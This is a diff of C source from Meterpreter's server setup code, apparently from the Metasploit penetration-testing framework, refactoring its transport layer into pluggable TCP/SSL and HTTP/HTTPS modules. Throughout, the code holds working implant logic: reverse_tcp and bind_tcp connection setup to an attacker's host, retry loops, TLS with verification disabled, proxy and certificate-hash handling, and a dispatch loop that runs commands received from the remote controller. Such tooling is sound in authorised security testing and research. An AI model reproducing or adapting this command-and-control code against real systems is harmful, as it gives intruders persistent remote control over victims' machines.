dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
|
||||
if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) {
|
||||
if ((ret = SSL_write(ctx->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) {
|
||||
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret,
|
||||
SSL_get_error(remote->ssl, ret));
|
||||
SSL_get_error(ctx->ssl, ret));
|
||||
}
|
||||
|
||||
out:
|
||||
@ -264,7 +412,7 @@ out:
|
||||
* @param remote Pointer to the remote endpoint for this server connection.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
static DWORD server_dispatch(Remote * remote)
|
||||
static BOOL server_dispatch(Remote * remote, THREAD* dispatchThread)
|
||||
{
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
@ -278,13 +426,13 @@ static DWORD server_dispatch(Remote * remote)
|
||||
return result;
|
||||
}
|
||||
while (running) {
|
||||
if (event_poll(serverThread->sigterm, 0)) {
|
||||
if (event_poll(dispatchThread->sigterm, 0)) {
|
||||
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
|
||||
break;
|
||||
}
|
||||
result = server_socket_poll(remote, 100);
|
||||
if (result > 0) {
|
||||
result = packet_receive(remote, &packet);
|
||||
result = remote->transport->packet_receive(remote, &packet);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
|
||||
break;
|
||||
@ -309,11 +457,134 @@ static DWORD server_dispatch(Remote * remote)
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL configure_tcp_connection(Remote* remote, SOCKET socket)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
size_t charsConverted;
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
char* asciiUrl = remote->transport->url;
|
||||
|
||||
if (strncmp(asciiUrl, "tcp", 3) == 0)
|
||||
{
|
||||
const int iRetryAttempts = 30;
|
||||
char* pHost = strstr(asciiUrl, "//") + 2;
|
||||
char* pPort = strrchr(pHost, ':') + 1;
|
||||
|
||||
// check if we're using IPv6
|
||||
if (asciiUrl[3] == '6')
|
||||
{
|
||||
char* pScopeId = strrchr(pHost, '?') + 1;
|
||||
*(pScopeId - 1) = '\0';
|
||||
*(pPort - 1) = '\0';
|
||||
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
|
||||
result = reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, &ctx->fd);
|
||||
}
|
||||
else
|
||||
{
|
||||
u_short usPort = (u_short)atoi(pPort);
|
||||
|
||||
// if no host is specified, then we can assume that this is a bind payload, otherwise
|
||||
// we'll assume that the payload is a reverse_tcp one and the given host is valid
|
||||
if (*pHost == ':')
|
||||
{
|
||||
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
|
||||
result = bind_tcp(usPort, &ctx->fd);
|
||||
}
|
||||
else
|
||||
{
|
||||
*(pPort - 1) = '\0';
|
||||
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
|
||||
result = reverse_tcp4(pHost, usPort, iRetryAttempts, &ctx->fd);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// assume that we have been given a valid socket given that there's no stageless information
|
||||
ctx->fd = socket;
|
||||
}
|
||||
|
||||
// Do not allow the file descriptor to be inherited by child processes
|
||||
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
dprintf("[SERVER] Flushing the socket handle...");
|
||||
server_socket_flush(remote);
|
||||
|
||||
dprintf("[SERVER] Initializing SSL...");
|
||||
if (server_initialize_ssl(remote))
|
||||
{
|
||||
dprintf("[SERVER] SSL failed to initialize");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Negotiating SSL...");
|
||||
if (!server_negotiate_ssl(remote))
|
||||
{
|
||||
dprintf("[SERVER] Failed to negotiate SSL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void transport_destroy_tcp(Remote* remote)
|
||||
{
|
||||
if (remote && remote->transport)
|
||||
{
|
||||
dprintf("[TRANS TCP] Destroying tcp transport for url %S", remote->transport->url);
|
||||
SAFE_FREE(remote->transport->url);
|
||||
SAFE_FREE(remote->transport);
|
||||
}
|
||||
}
|
||||
|
||||
Transport* transport_create_tcp(char* url)
|
||||
{
|
||||
Transport* transport = (Transport*)malloc(sizeof(Transport));
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));
|
||||
|
||||
dprintf("[TRANS TCP] Creating tcp transport for url %s", url);
|
||||
|
||||
memset(transport, 0, sizeof(Transport));
|
||||
memset(ctx, 0, sizeof(TcpTransportContext));
|
||||
|
||||
transport->url = strdup(url);
|
||||
transport->packet_receive = packet_receive_via_ssl;
|
||||
transport->packet_transmit = packet_transmit_via_ssl;
|
||||
transport->transport_init = configure_tcp_connection;
|
||||
transport->transport_deinit = server_destroy_ssl;
|
||||
transport->transport_destroy = transport_destroy_tcp;
|
||||
transport->server_dispatch = server_dispatch;
|
||||
transport->get_socket = tcp_transport_get_socket;
|
||||
transport->ctx = ctx;
|
||||
transport->type = METERPRETER_TRANSPORT_SSL;
|
||||
|
||||
return transport;
|
||||
}
|
||||
|
||||
Transport* transport_create(char* transport, char* url)
|
||||
{
|
||||
Transport* t = NULL;
|
||||
dprintf("[TRANSPORT] Type = %s", transport);
|
||||
dprintf("[TRANSPORT] URL = %s", url);
|
||||
|
||||
if (strcmp(transport, "TRANSPORT_SSL") == 0)
|
||||
{
|
||||
t = transport_create_tcp(url);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[TRANSPORT] not supported");
|
||||
}
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
/*
|
||||
* Setup and run the server. This is called from Init via the loader.
|
||||
*/
|
||||
DWORD server_setup(SOCKET fd)
|
||||
{
|
||||
THREAD * dispatchThread = NULL;
|
||||
Remote *remote = NULL;
|
||||
char cStationName[256] = { 0 };
|
||||
char cDesktopName[256] = { 0 };
|
||||
@ -324,83 +595,55 @@ DWORD server_setup(SOCKET fd)
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
|
||||
printf("[SERVER] module loaded at 0x%08X", hAppInstance);
|
||||
|
||||
// Open a THREAD item for the servers main thread, we use this to manage migration later.
|
||||
serverThread = thread_open();
|
||||
dispatchThread = thread_open();
|
||||
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X",
|
||||
serverThread->handle, serverThread->id, serverThread->sigterm);
|
||||
if (!(remote = remote_allocate(fd))) {
|
||||
dispatchThread->handle, dispatchThread->id, dispatchThread->sigterm);
|
||||
|
||||
if (!(remote = remote_allocate())) {
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
goto out;
|
||||
}
|
||||
|
||||
remote->url = global_meterpreter_url;
|
||||
if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_SSL") == 0) {
|
||||
remote->transport = METERPRETER_TRANSPORT_SSL;
|
||||
dprintf("[SERVER] Using SSL transport...");
|
||||
|
||||
} else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTPS") == 0) {
|
||||
remote->transport = METERPRETER_TRANSPORT_HTTPS;
|
||||
dprintf("[SERVER] Using HTTPS transport...");
|
||||
|
||||
} else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTP") == 0) {
|
||||
remote->transport = METERPRETER_TRANSPORT_HTTP;
|
||||
dprintf("[SERVER] Using HTTP transport...");
|
||||
}
|
||||
|
||||
// Do not allow the file descriptor to be inherited by child processes
|
||||
SetHandleInformation((HANDLE) fd, HANDLE_FLAG_INHERIT, 0);
|
||||
dprintf("[SERVER] Initializing tokens...");
|
||||
|
||||
// Store our thread handle
|
||||
remote->hServerThread = serverThread->handle;
|
||||
remote->hServerThread = dispatchThread->handle;
|
||||
|
||||
// Process our default SSL-over-TCP transport
|
||||
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
|
||||
dprintf("[SERVER] Flushing the socket handle...");
|
||||
server_socket_flush(remote);
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
dprintf("[SERVER] Initializing SSL...");
|
||||
if (server_initialize_ssl(remote))
|
||||
goto out;
|
||||
// allocate the "next transport" information
|
||||
dprintf("[SERVER] creating transport");
|
||||
remote->nextTransport = transport_create(global_meterpreter_transport + 12, global_meterpreter_url);
|
||||
|
||||
dprintf("[SERVER] Negotiating SSL...");
|
||||
if (!server_negotiate_ssl(remote))
|
||||
goto out;
|
||||
while (remote->nextTransport) {
|
||||
remote->transport = remote->nextTransport;
|
||||
remote->nextTransport = NULL;
|
||||
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
dprintf("[SERVER] initialising transport 0x%p", remote->transport->transport_init);
|
||||
if (remote->transport->transport_init && !remote->transport->transport_init(remote, fd)) {
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...",
|
||||
remote->transport);
|
||||
server_dispatch(remote);
|
||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
|
||||
remote->transport->server_dispatch(remote, dispatchThread);
|
||||
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines(remote);
|
||||
if (remote->transport->transport_deinit) {
|
||||
remote->transport->transport_deinit(remote);
|
||||
}
|
||||
|
||||
remote->transport->transport_destroy(remote);
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines(remote);
|
||||
|
||||
remote_deallocate(remote);
|
||||
|
||||
out:
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTP
|
||||
|| remote->transport == METERPRETER_TRANSPORT_HTTPS) {
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...",
|
||||
remote->transport);
|
||||
|
||||
// XXX: Handle non-windows HTTP transport
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines(remote);
|
||||
}
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
|
||||
dprintf("[SERVER] Closing down SSL...");
|
||||
server_destroy_ssl(remote);
|
||||
}
|
||||
|
||||
if (remote)
|
||||
remote_deallocate(remote);
|
||||
res = GetLastError();
|
||||
|
||||
dprintf("[SERVER] Finished.");
|
||||
return res;
|
||||
return res == ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -15,13 +15,16 @@
|
||||
extern IN6_ADDR in6addr_any;
|
||||
#endif
|
||||
|
||||
#ifdef USE_WINHTTP
|
||||
/*!
|
||||
* @file server_setup.c
|
||||
*/
|
||||
#include "metsrv.h"
|
||||
#include "../../common/common.h"
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
#include "win/server_setup_winhttp.h"
|
||||
#define server_dispatch_http server_dispatch_http_winhttp
|
||||
#else
|
||||
#include "win/server_setup_wininet.h"
|
||||
#define server_dispatch_http server_dispatch_http_wininet
|
||||
#endif
|
||||
|
||||
BOOL configure_tcp_connection(Remote* remote, SOCKET socket);
|
||||
|
||||
extern Command* extensionCommands;
|
||||
|
||||
@ -57,9 +60,6 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
|
||||
#define PREPEND_INFO "### Info : "
|
||||
#define PREPEND_WARN "### Warn : "
|
||||
|
||||
/*! @brief This thread is the main server thread. */
|
||||
static THREAD * serverThread = NULL;
|
||||
|
||||
/*! @brief An array of locks for use by OpenSSL. */
|
||||
static LOCK ** ssl_locks = NULL;
|
||||
|
||||
@ -187,6 +187,7 @@ DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
|
||||
// prepare a connection listener for the attacker to connect to, and we
|
||||
// attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4
|
||||
// only if the process fails.
|
||||
@ -259,49 +260,6 @@ DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD establish_tcp_connection(wchar_t* url, SOCKET* socketBuffer)
|
||||
{
|
||||
dprintf("[STAGELESS] Url: %S", url);
|
||||
size_t charsConverted;
|
||||
char asciiUrl[512];
|
||||
wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), url, sizeof(asciiUrl)-1);
|
||||
|
||||
if (strncmp(asciiUrl, "tcp", 3) == 0)
|
||||
{
|
||||
const int iRetryAttempts = 30;
|
||||
char* pHost = strstr(asciiUrl, "//") + 2;
|
||||
char* pPort = strrchr(pHost, ':') + 1;
|
||||
|
||||
// check if we're using IPv6
|
||||
if (asciiUrl[3] == '6')
|
||||
{
|
||||
dprintf("[STAGELESS] IPv6");
|
||||
char* pScopeId = strrchr(pHost, '?') + 1;
|
||||
*(pScopeId - 1) = '\0';
|
||||
*(pPort - 1) = '\0';
|
||||
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
|
||||
return reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, socketBuffer);
|
||||
}
|
||||
|
||||
dprintf("[STAGELESS] IPv4");
|
||||
u_short usPort = (u_short)atoi(pPort);
|
||||
|
||||
// if no host is specified, then we can assume that this is a bind payload, otherwise
|
||||
// we'll assume that the payload is a reverse_tcp one and the given host is valid
|
||||
// TODO: check to make sure this is a valid thing to do with IPv6
|
||||
if (*pHost == ':')
|
||||
{
|
||||
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
|
||||
return bind_tcp(usPort, socketBuffer);
|
||||
}
|
||||
|
||||
*(pPort - 1) = '\0';
|
||||
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
|
||||
return reverse_tcp4(pHost, usPort, iRetryAttempts, socketBuffer);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief A callback function used by OpenSSL to leverage native system locks.
|
||||
* @param mode The lock mode to set.
|
||||
@ -378,36 +336,34 @@ static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value* l, const cha
|
||||
* @brief Flush all pending data on the connected socket before doing SSL.
|
||||
* @param remote Pointer to the remote instance.
|
||||
*/
|
||||
static VOID server_socket_flush(Remote * remote)
|
||||
static VOID server_socket_flush(Remote* remote)
|
||||
{
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
fd_set fdread;
|
||||
DWORD ret;
|
||||
SOCKET fd;
|
||||
char buff[4096];
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
fd = remote_get_fd(remote);
|
||||
|
||||
while (1)
|
||||
{
|
||||
struct timeval tv;
|
||||
LONG data;
|
||||
|
||||
FD_ZERO(&fdread);
|
||||
FD_SET(fd, &fdread);
|
||||
FD_SET(ctx->fd, &fdread);
|
||||
|
||||
// Wait for up to one second for any errant socket data to appear
|
||||
tv.tv_sec = 1;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||
data = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
|
||||
if (data == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
ret = recv(fd, buff, sizeof(buff), 0);
|
||||
ret = recv(ctx->fd, buff, sizeof(buff), 0);
|
||||
dprintf("[SERVER] Flushed %d bytes from the buffer", ret);
|
||||
|
||||
// The socket closed while we waited
|
||||
@ -428,22 +384,20 @@ static VOID server_socket_flush(Remote * remote)
|
||||
*/
|
||||
static LONG server_socket_poll(Remote * remote, long timeout)
|
||||
{
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
struct timeval tv;
|
||||
LONG result;
|
||||
fd_set fdread;
|
||||
SOCKET fd;
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
fd = remote_get_fd(remote);
|
||||
|
||||
FD_ZERO(&fdread);
|
||||
FD_SET(fd, &fdread);
|
||||
FD_SET(ctx->fd, &fdread);
|
||||
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = timeout;
|
||||
|
||||
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||
result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
|
||||
|
||||
lock_release(remote->lock);
|
||||
|
||||
@ -494,22 +448,25 @@ static BOOL server_initialize_ssl(Remote * remote)
|
||||
* @return Indication of success or failure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
*/
|
||||
static BOOL server_destroy_ssl(Remote * remote)
|
||||
static BOOL server_destroy_ssl(Remote* remote)
|
||||
{
|
||||
TcpTransportContext* ctx = NULL;
|
||||
int i = 0;
|
||||
|
||||
if (remote == NULL)
|
||||
if (remote == NULL || remote->transport == NULL || remote->transport->ctx == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
|
||||
dprintf("[SERVER] Destroying SSL");
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
SSL_free(remote->ssl);
|
||||
SSL_free(ctx->ssl);
|
||||
|
||||
SSL_CTX_free(remote->ctx);
|
||||
SSL_CTX_free(ctx->ctx);
|
||||
|
||||
CRYPTO_set_locking_callback(NULL);
|
||||
CRYPTO_set_id_callback(NULL);
|
||||
@ -529,8 +486,6 @@ static BOOL server_destroy_ssl(Remote * remote)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
*/
|
||||
/*!
|
||||
* @brief Negotiate SSL on the socket.
|
||||
* @return Indication of success or failure.
|
||||
@ -538,6 +493,7 @@ static BOOL server_destroy_ssl(Remote * remote)
|
||||
*/
|
||||
static BOOL server_negotiate_ssl(Remote *remote)
|
||||
{
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
BOOL success = TRUE;
|
||||
SOCKET fd = 0;
|
||||
DWORD ret = 0;
|
||||
@ -547,17 +503,15 @@ static BOOL server_negotiate_ssl(Remote *remote)
|
||||
|
||||
do
|
||||
{
|
||||
fd = remote_get_fd(remote);
|
||||
ctx->meth = TLSv1_client_method();
|
||||
|
||||
remote->meth = TLSv1_client_method();
|
||||
ctx->ctx = SSL_CTX_new(ctx->meth);
|
||||
SSL_CTX_set_mode(ctx->ctx, SSL_MODE_AUTO_RETRY);
|
||||
|
||||
remote->ctx = SSL_CTX_new(remote->meth);
|
||||
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
|
||||
ctx->ssl = SSL_new(ctx->ctx);
|
||||
SSL_set_verify(ctx->ssl, SSL_VERIFY_NONE, NULL);
|
||||
|
||||
remote->ssl = SSL_new(remote->ctx);
|
||||
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
|
||||
|
||||
if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0)
|
||||
if (SSL_set_fd(ctx->ssl, (int)ctx->fd) == 0)
|
||||
{
|
||||
dprintf("[SERVER] set fd failed");
|
||||
success = FALSE;
|
||||
@ -566,9 +520,9 @@ static BOOL server_negotiate_ssl(Remote *remote)
|
||||
|
||||
do
|
||||
{
|
||||
if ((ret = SSL_connect(remote->ssl)) != 1)
|
||||
if ((ret = SSL_connect(ctx->ssl)) != 1)
|
||||
{
|
||||
res = SSL_get_error(remote->ssl, ret);
|
||||
res = SSL_get_error(ctx->ssl, ret);
|
||||
dprintf("[SERVER] connect failed %d\n", res);
|
||||
|
||||
if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE)
|
||||
@ -586,9 +540,9 @@ static BOOL server_negotiate_ssl(Remote *remote)
|
||||
|
||||
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
|
||||
|
||||
if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0)
|
||||
if ((ret = SSL_write(ctx->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0)
|
||||
{
|
||||
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
|
||||
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(ctx->ssl, ret));
|
||||
}
|
||||
|
||||
} while (0);
|
||||
@ -610,7 +564,7 @@ static BOOL server_negotiate_ssl(Remote *remote)
|
||||
* @param remote Pointer to the remote endpoint for this server connection.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
static DWORD server_dispatch(Remote * remote)
|
||||
static DWORD server_dispatch(Remote* remote, THREAD* dispatchThread)
|
||||
{
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
@ -628,7 +582,7 @@ static DWORD server_dispatch(Remote * remote)
|
||||
|
||||
while (running)
|
||||
{
|
||||
if (event_poll(serverThread->sigterm, 0))
|
||||
if (event_poll(dispatchThread->sigterm, 0))
|
||||
{
|
||||
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
|
||||
break;
|
||||
@ -637,7 +591,7 @@ static DWORD server_dispatch(Remote * remote)
|
||||
result = server_socket_poll(remote, 100);
|
||||
if (result > 0)
|
||||
{
|
||||
result = packet_receive(remote, &packet);
|
||||
result = remote->transport->packet_receive(remote, &packet);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
|
||||
@ -726,11 +680,159 @@ VOID load_stageless_extensions(Remote* pRemote, ULONG_PTR fd)
|
||||
dprintf("[SERVER] All stageless extensions loaded");
|
||||
}
|
||||
|
||||
SOCKET tcp_transport_get_socket(Transport* transport)
|
||||
{
|
||||
return ((TcpTransportContext*)transport->ctx)->fd;
|
||||
}
|
||||
|
||||
void transport_destroy_tcp(Remote* remote)
|
||||
{
|
||||
if (remote && remote->transport)
|
||||
{
|
||||
dprintf("[TRANS TCP] Destroying tcp transport for url %S", remote->transport->url);
|
||||
SAFE_FREE(remote->transport->url);
|
||||
SAFE_FREE(remote->transport);
|
||||
}
|
||||
}
|
||||
|
||||
Transport* transport_create_tcp(wchar_t* url)
|
||||
{
|
||||
Transport* transport = (Transport*)malloc(sizeof(Transport));
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));
|
||||
|
||||
dprintf("[TRANS TCP] Creating tcp transport for url %S", url);
|
||||
|
||||
memset(transport, 0, sizeof(Transport));
|
||||
memset(ctx, 0, sizeof(TcpTransportContext));
|
||||
|
||||
transport->url = _wcsdup(url);
|
||||
transport->packet_receive = packet_receive_via_ssl;
|
||||
transport->packet_transmit = packet_transmit_via_ssl;
|
||||
transport->transport_init = configure_tcp_connection;
|
||||
transport->transport_deinit = server_destroy_ssl;
|
||||
transport->transport_destroy = transport_destroy_tcp;
|
||||
transport->server_dispatch = server_dispatch;
|
||||
transport->get_socket = tcp_transport_get_socket;
|
||||
transport->ctx = ctx;
|
||||
transport->type = METERPRETER_TRANSPORT_SSL;
|
||||
|
||||
return transport;
|
||||
}
|
||||
|
||||
void transport_destroy_http(Remote* remote)
|
||||
{
|
||||
if (remote && remote->transport)
|
||||
{
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
dprintf("[TRANS HTTP] Destroying http transport for url %S", remote->transport->url);
|
||||
|
||||
SAFE_FREE(remote->transport->url);
|
||||
SAFE_FREE(ctx->cert_hash);
|
||||
SAFE_FREE(ctx->proxy);
|
||||
SAFE_FREE(ctx->proxy_pass);
|
||||
SAFE_FREE(ctx->proxy_user);
|
||||
SAFE_FREE(ctx->ua);
|
||||
SAFE_FREE(ctx->uri);
|
||||
SAFE_FREE(remote->transport);
|
||||
}
|
||||
}
|
||||
|
||||
Transport* transport_create_http(BOOL ssl, wchar_t* url, wchar_t* ua, wchar_t* proxy,
|
||||
wchar_t* proxyUser, wchar_t* proxyPass, PBYTE certHash, int expirationTime, int commsTimeout)
|
||||
{
|
||||
Transport* transport = (Transport*)malloc(sizeof(Transport));
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext));
|
||||
|
||||
dprintf("[TRANS HTTP] Creating http transport for url %S", url);
|
||||
|
||||
memset(transport, 0, sizeof(Transport));
|
||||
memset(ctx, 0, sizeof(HttpTransportContext));
|
||||
|
||||
if (expirationTime > 0)
|
||||
{
|
||||
ctx->expiration_time = current_unix_timestamp() + expirationTime;
|
||||
}
|
||||
|
||||
ctx->comm_timeout = commsTimeout;
|
||||
ctx->start_time = current_unix_timestamp();
|
||||
ctx->comm_last_packet = current_unix_timestamp();
|
||||
|
||||
if (ua)
|
||||
{
|
||||
ctx->ua = _wcsdup(ua);
|
||||
}
|
||||
if (proxy && wcscmp(proxy, L"METERPRETER_PROXY") != 0)
|
||||
{
|
||||
ctx->proxy = _wcsdup(proxy);
|
||||
}
|
||||
if (proxyUser && wcscmp(proxyUser, L"METERPRETER_USERNAME_PROXY") != 0)
|
||||
{
|
||||
ctx->proxy_user = _wcsdup(proxyUser);
|
||||
}
|
||||
if (proxyPass && wcscmp(proxyPass, L"METERPRETER_PASSWORD_PROXY") != 0)
|
||||
{
|
||||
ctx->proxy_pass = _wcsdup(proxyPass);
|
||||
}
|
||||
ctx->ssl = ssl;
|
||||
|
||||
// only apply the cert hash if we're given one and it's not the global value
|
||||
if (certHash && strncmp((char*)certHash, "METERPRETER_SSL_CERT_HASH", 20) != 0)
|
||||
{
|
||||
ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20);
|
||||
memcpy(ctx->cert_hash, certHash, 20);
|
||||
}
|
||||
|
||||
transport->url = _wcsdup(url);
|
||||
transport->packet_receive = packet_receive_via_http;
|
||||
transport->packet_transmit = packet_transmit_via_http;
|
||||
transport->server_dispatch = server_dispatch_http_winhttp;
|
||||
transport->transport_init = server_init_http_winhttp;
|
||||
transport->transport_deinit = server_deinit_http_winhttp;
|
||||
transport->transport_destroy = transport_destroy_http;
|
||||
transport->ctx = ctx;
|
||||
transport->type = ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP;
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
if (ssl && certHash)
|
||||
{
|
||||
PBYTE hash = certHash;
|
||||
dprintf("[SERVER] Using HTTPS transport: Hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
dprintf("[SERVER] is validating hashes %p", hash);
|
||||
}
|
||||
#endif
|
||||
|
||||
return transport;
|
||||
}
|
||||
|
||||
Transport* transport_create(wchar_t* transport, wchar_t* url)
|
||||
{
|
||||
Transport* t = NULL;
|
||||
dprintf("[TRANSPORT] Type = %S", transport);
|
||||
dprintf("[TRANSPORT] URL = %S", url);
|
||||
|
||||
if (wcscmp(transport, L"TRANSPORT_SSL") == 0)
|
||||
{
|
||||
t = transport_create_tcp(url);
|
||||
}
|
||||
else
|
||||
{
|
||||
BOOL ssl = wcscmp(transport, L"TRANSPORT_HTTPS") == 0;
|
||||
t = transport_create_http(ssl, url, global_meterpreter_ua, global_meterpreter_proxy, global_meterpreter_proxy_username,
|
||||
global_meterpreter_proxy_password, global_meterpreter_ssl_cert_hash, global_expiration_timeout, global_comm_timeout);
|
||||
}
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
/*
|
||||
* Setup and run the server. This is called from Init via the loader.
|
||||
*/
|
||||
DWORD server_setup(SOCKET fd)
|
||||
{
|
||||
THREAD* serverThread = NULL;
|
||||
Remote* pRemote = NULL;
|
||||
char cStationName[256] = { 0 };
|
||||
char cDesktopName[256] = { 0 };
|
||||
@ -759,57 +861,12 @@ DWORD server_setup(SOCKET fd)
|
||||
|
||||
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
|
||||
|
||||
if (!(pRemote = remote_allocate(fd)))
|
||||
if (!(pRemote = remote_allocate()))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
pRemote->url = global_meterpreter_url;
|
||||
if (bStageless)
|
||||
{
|
||||
// if stageless, we ignore the first 's'
|
||||
pRemote->url += 1;
|
||||
}
|
||||
|
||||
if (wcscmp(global_meterpreter_transport + 12, L"TRANSPORT_SSL") == 0)
|
||||
{
|
||||
pRemote->transport = METERPRETER_TRANSPORT_SSL;
|
||||
dprintf("[SERVER] Using SSL transport on socket %ul...", fd);
|
||||
|
||||
dprintf("[SERVER] setting up stageless comms if required...");
|
||||
res = establish_tcp_connection(pRemote->url, &pRemote->fd);
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[SERVER] Failed to get TCP communications running: %u (%x)", res, res);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (wcscmp(global_meterpreter_transport + 12, L"TRANSPORT_HTTPS") == 0)
|
||||
{
|
||||
